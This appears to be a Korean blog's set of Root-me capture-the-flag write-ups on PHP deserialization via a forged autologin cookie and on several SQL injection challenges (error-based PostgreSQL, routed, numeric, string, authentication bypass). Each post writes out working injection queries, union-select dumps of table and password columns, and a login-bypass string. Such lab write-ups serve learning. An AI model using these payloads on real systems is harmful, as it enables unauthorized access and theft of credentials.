PHP - Serialization

 

 

 

 

 

 

adminstrator 계정으로 로그인하면 되는 문제이다.

 

 

 

 

 

 

일반적인 로그인 창으로 자동로그인 기능이 있다.

 

 

 

 


문제해석

 

 

 

 

 

 

 

 

소스를 보면 중요한 부분은 문제 제목과 같은 unserializeserialize가 있는 부분이다.

 

 

일반적으로 로그인을 하게 되면 $data에 값이 저장되며,

autologin 쿠키값이 있을 때는 $data에 unserialize된 값이 들어가게 된다.

 

 

로그인이 성공하고 autologin이 1이 때 쿠키에 serialize된 값이 저장되며 위의 autologin 체크할 때 쓰이게 된다.

 

 

 

 

Login에 superadmin으로 로그인하면 될 것이다.

 

 

 

 


문제풀이

 

 

 

 

문제에서 주어진 guest로 autologin을 체크하고 로그인하게 되면 다음과 같이 표시되며

 

 

 

 

 

Cookie에 serialize된 autologin의 값이  url encoding된 형태로 표시되게 된다.

그리고 url decode를 해보면

 

 

autologin=

a:2:{s:5:"login";s:5:"guest";s:8:"password";s:64:"84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec";};

serialize된 값을 볼 수 있고

login : guest

password : sha256된 값   으로 되어있는 것을 볼 수 있다.

s는 string /  5는 글자수 / ;로 value를 구분

 

 

 

 

 

 

 

 

 

이를 이용하여 우리가 원하는 superadmin으로 쿠키에 전달 할 값을 작성하려면

 

 

1. login 부분을 superadmin으로 설정

 

 

  a:2:{s:5:"login";s:10:"superadmin";                        }

 

 

 

2. password 값  설정

 

 이후 문제는 password에 전달 되는 값이다.

 

 

 

 

 

 위의 코드를 보면 우리가 입력한 password와 비교되는 저장된 값이 느슨한 비교(loose comparison)로 되어있음을 알   수 있다.

 이를 이용하면 true와 "string"을 비교했을 때 true로 인식되어 우회 할 수 있다.

 

 

 

 php serialize에서 boolean값은 b가 boolean을 나타내며 true나 false가아닌 1과 0으로 인식한다.

php 메뉴얼 : https://www.php.net/manual/en/function.serialize.php

 

 

 autologin에 전달할 값을 이어서 작성하면

 

 

 

 a:2:{s:5:"login";s:10:"superadmin"s:8:"password";b:1;} 가 된다.

 

 

 

 

 

이 값을 url decoding해서 Cookie의 autologin값에 전달하게 되면

 

 

 

CLEAR 할 수 있다.

 

 

 


 

 

구글링하면서 공부한 serialzie 취약점 문제와 이 문제는 조금차이가 있는 것 같다. 이전의 있던 type juggling를 이용하고, serialize된 글자를 해석만 하면? 풀 수 있게되는 문제같다.

 

 

생성자와 magic method를 이용한 문제들을 찾아서 풀어봐야 serialize에 대해 더 잘 이해할 수 있을 것 같다.

 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] SQL injection - Error  (0) 2019.10.07
[Root-me] SQL Injection - Routed  (0) 2019.10.01
[Root-me] SQL injection - Numeric  (0) 2019.09.27

 

 

password를 찾는 문제이다.

 

 

Contents에 order부분에 injection을 하면 될 것 같다. 

 


1. DB 종류 파악

 

 

 

 

 

문제를 보고 Error based sql injection로 생각하고 LOS때 사용했던 쿼리문을 한번 넣어보았다.

 

Query : ASC, (select count(*), floor(rand(0)*2)x from (select 1 union select 2 )t group by x) 

   //다음 쿼리 부터 ASC 생략하고 작성

 

 

 

쿼리를 작성하였더니 rand 함수를 찾을 수 없다는 ERROR메세지를 얻게 되었다. mysql이 아닌거라 생각하고 어떤 DB를 쓰는지 확인해보니 PostgreSQL 을 사용함을 알 수 있었다. ( sql injection db 종류 확인

 

 

 

Query : (select datname from pg_database)

//다른 쿼리도 사용 가능

 

 

 

 

+ERROR메세지를 통해서도 DB를 추측할 수 있는 것 같다.

// 출처 : https://cons.tistory.com/55

Query : '

 

 

 


2. Injection 시도

 

 

 

 

 

 

위의 쿼리들로 DB종류를 알아내서 Error based sql injection 공격을 시도 해보았다.

 

 

 

1. 테이블 이름을 얻는 쿼리

Query : 1=cast((select table_name from information_schema.tables  limit 1 offset 0) as int)--

 

 

 

위의 쿼리로 table이름을 얻을 수 있었다.

 

 

 

2. column 명을 얻는 쿼리

Query : 1=cast((select column_name from information_schema.columns where table_name= CHR(109) || CHR(51) || CHR(109) || CHR(98) || CHR(114) || CHR(51) || CHR(53) || CHR(116) || CHR(52) || CHR(98) || CHR(108) || CHR(51)  limit 1 offset 0) as int)--

 

 

 

offset 값을 늘려가면서 필요한 column 값을 얻을 수 있었다.

us3rn4m3_c0l,  p455w0rd_c0l,  em41l_c0l

 

 

 

3.컬럼명을 통해 필요한 데이터 얻기

Query : 1=cast((select us3rn4m3_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)--

 

Query : 1=cast((select p455w0rd_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)--

 

 

 

위의 데이터를 통해 답을 얻을 수 있었다

참고 : https://forum.sqliwiki.com/showthread.php?tid=30

 

 

 


문제를 풀고나서 Root-me에 올라온 solution들을 봤는데

컬럼명을 구하는 작업에서 '가 필터링 되어 있어서 column명을 얻는 쿼리에서 하나하나 CHR()을 반복하는 작업을 했는데 PostgreSQL에서는 $$로 우회할 수 있는 것 같다.

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL Injection - Routed  (0) 2019.10.01
[Root-me] SQL injection - Numeric  (0) 2019.09.27
[Root-me] SQL injection - String  (0) 2019.09.27

 

 

password를 찾는 문제이다.

 

 

 

 

 

늘 그렇듯 Search에 기본적인 injection 공격을 해보았다.

 

 

Query : 'union select 1-- 

 

 

 

query의 결과 값으로 ID 숫자와 Email을 얻을 수 있었고

3에서 admin계정을 찾을 수 있었고 이보다 큰 숫자에선 값이 나오지 않았다.

 

 

 

이후에 숫자부분에 이것저것 넣어봤는데 잘 안돼서 문제인 Routed SQL injection에 대해서 검색해보게 되었고

 

 

Routed SQL injection은 injection한 첫번째 쿼리의 결과 값이 두번째 쿼리의 input으로 그대로 전달되어 두번째 쿼리에서도 injection 공격이 발생하는 것이다.           ( Indirect SQL injection과 비슷하지만 조금 다른 것 같다.

 

 

이 문제에 적용 시켜보면 이때 까지 ~~~'union select 3의 결과인 3이

두번째 쿼리의 입력값이 되며, 이 3에 해당하는 ID와 Email이 출력되었다고 생각할 수 있다.

 

 

그래서 이 3 부분을 조작하면 두번째 쿼리에서도 injection 공격을 할 수 있다.

 

 

그래서 'union select 'union select~~~ 이런 식으로 값을 넣어서 공격할 수 있고, 두번째 쿼리의 컬럼 수는 order by나 그냥 1, 2 이런식으로 해보니 2개 컬럼을 가지더라 ( ,가 필터링 되어서 hex값을 이용하였다.

 

 

이를 이용해서 우선 table부터 구하면

 

Query : 'union select 'union select 1, table_name from information_schema.tables where table_type='base table'# #    (두번째 '부터 hex값

 

 

 

users라는 테이블이 존재함을 알 수 있고 이 테이블 명을 통해서 column명을 구해보면

 

 

Query: 'union select 'union select 1, column_name from information_schema.columns where table_name='users'# #

 

 

 

id라는 하나의 컬럼명 밖에 안나오게 된다.

그래서 한꺼번에 출력하게 하도록 하는 것을 찾아보니 group_concat()이라는 것을 찾을 수 있었다.

group_cocat은 서로 다른결과들을 한줄에 걸쳐서 출력해준다.

 

 

Query: 'union select 'union select 1, group_concat(column_name) from information_schema.columns where table_name='users'# #

 

 

 

id, login, password, email이란 컬럼명을 얻을 수 있었고

이를 통해 우리가 원하는 password 값을 추출 하기 위해서 쿼리를 보내면

 

 

Query : 'union select 'union select 1, password from users where id=3# #

 

 

 

우리가 원하는 flag를 얻을 수 있게 된다.

 

 

 

-----------------------------------------------------------------------------------------------------------------------------------

 

처음에 첫번째 결과의 쿼리값이 두번째로 전달 된다는 것을 잘못 인식해서 ID가 첫번째 쿼리의 결과이고

ID값이 두번째 쿼리의 input으로 들어간다 생각해서 오해가 있어 문제를 이해하는데 오래 걸렸다.

 

LOS에서는 거의 항상 information이라는 단어가 필터링 되어있어서 이번 문제와 같이 내재된 테이블(?)을 이용해서 푸는 문제는 처음이었던 것 같은데 익혀놔야겠다.

 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL injection - Error  (0) 2019.10.07
[Root-me] SQL injection - Numeric  (0) 2019.09.27
[Root-me] SQL injection - String  (0) 2019.09.27
[Root-me] SQL injection - Authentication  (0) 2019.09.11

 

 

 

 

이전 문제들과 같이 admin 계정의 password를 얻는 문제이다.

 

 

 

 

 

 

 

이것 저것 눌러보면서 news_id의 파라미터 값이 1,2,3 으로 바뀌는 것을 보고 이번엔 여기다가 공격 시도를 해보았다.

역시나 이전 문제들과 같이 테이블 정보를 얻기 위한 쿼리를 보냈다.

 

 

 

Query : 2 union select sql,1,2 from sqlite_master-- 

 

 

 

왜 그런지는 잘 모르겠으나, 첫번째 sql부분이 나오지 않고 두번째, 세번째 값만 출력돼서 값의 순서를 바꾸어 보아서 해보니 값이 원하는대로 잘 나온다.

 

 

 

 

 

 

 

 

이전 문제들과 같이 users라는 테이블에 username과 password라는 컬럼명을 얻을 수 있었고

username과 password를 얻기 위해 다음과 같이 쿼리를 보내서 답을 얻을 수 있었다.

 

 

 

 

Query : 2 union select 1,username,password from users-- 

 

Clear~

 

 

 

 

 

-----------------------------------------------------------------------------------------------------------------------------------

 

이전 문제들과 쿼리는 다를 것 없이 공격 위치만 바뀌어서 슥슥 풀리는구만

필터링도 많이 없는 것 같은데 다른방법으로도 할 수 있지 않을가

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL injection - Error  (0) 2019.10.07
[Root-me] SQL Injection - Routed  (0) 2019.10.01
[Root-me] SQL injection - String  (0) 2019.09.27
[Root-me] SQL injection - Authentication  (0) 2019.09.11

 

 

 

똑같이 admin 계정의 password를 알아내는 문제이다

 

 

Query를 넣을 부분을 찾다가 Search 부분에 값을 넣으면 될 것 같았다.

 

 

 

 

이전에도 sqlite_master로 부터 데이터를 얻는게 가능했어서 이번에도 될 것 같아서 시도해보니

역시나 테이블 정보를 얻을 수 있었다.

 

 

 

Query : ' union select sql,1 from sqlite_master;-- 

 

 

 

 

 

위의 결과로 users라는 테이블명으로 username, password가 컬럼명으로 있는 것을 알 수 있었고

username이 admin인 password를 알기 위해서 아래와 같은 쿼리를 보내서 결과를 얻을 수 있었다.

 

 

Query : ' union select password, 1 from users where username='admin'-- 

 

 

 

 

그리고 나온 값이 답이 되어서 Clear :)

 

 

-----------------------------------------------------------------------------------------------------------------------------------

 

String의 의미는 무엇일까

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL injection - Error  (0) 2019.10.07
[Root-me] SQL Injection - Routed  (0) 2019.10.01
[Root-me] SQL injection - Numeric  (0) 2019.09.27
[Root-me] SQL injection - Authentication  (0) 2019.09.11

[Root-me] SQL injection - Authentication

 

 

 

 

LOS를 올클하고 첫 SQL injection 문제이다 ( 하하

 

 

관리자의 password를 알아내는 문제이다

 

los는 전부 코드가 보여져 있어서 생각하고 풀었다면 처음으로 문제가 코드가 가려진 것이라 당황했다.

그래서 대충 될 것같은 코드를 아무거나 집어넣어봤다.

 

위의 문제를 토대로 username이 administrator일 것으로 예상하고 아래의 쿼리를 id값에 넣었다.

 

 

 

 

Query : administrator' or (username='administrator' && length(password)>0)--

 

 

 

 

 

값을 넣었더니 우연치 않게 SQLite3를 사용하는 것으 알게 되었다.

los에서 후반부 문제중에 SQLite 쿼리로 테이블 이름이랑 컬럼명을 알 수 있었던 문제가 있어서 쿼리를 같이 사용해 보았다.

 

 

 

 

Query : 1' union select sql,2 tbl_name from sqlite_master;-- -

 

 

 

 

 

CREATE TABLE users(username TEXT, password TEXT, Year INTEGER)

다음과 같이 테이블을 만드는 쿼리를 얻을 수 있었고

users라는 테이블 명에 username, password 와 같은 컬럼명을 얻을 수 있었다.

 

얻은 컬럼명을 바탕으로 쿼리를 보냈는데 자꾸 오류가 나서 혹시나 싶어서 username에다가 admin을 넣었더니

admin 계정으로 로그인 되고 information을 얻을 수 있었다.

 

 

 

 

Query : ' or (username='admin' and length(password)>0)--

 

 

 

 

 

password가 계속 가려져 있어서 Blind SQL injection 해야하나 싶어서 length를 집어넣었었는데

아래에 use this password를 보고 개발자 도구를 열어서 봤더니 flag가 있었다.

' or username='admin'-- 정도로만 해도 될 것 같다.

 

 

 

 

 

 

 

-----------------------------------------------------------------------------------------------------------------------------------

처음으로 가려진 형태의 문제를 풀어보았다

필터링이 아무것도 안되어있는 것 같아서 쉬웠는 것 같다 이런문제가 los처럼 코드로 나와있었다면 엄청 빨리 풀지 않았을까 

 

조금은 실력이 오른 것 같아 소소하게 행복합니다 :)

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL injection - Error  (0) 2019.10.07
[Root-me] SQL Injection - Routed  (0) 2019.10.01
[Root-me] SQL injection - Numeric  (0) 2019.09.27
[Root-me] SQL injection - String  (0) 2019.09.27

+ Recent posts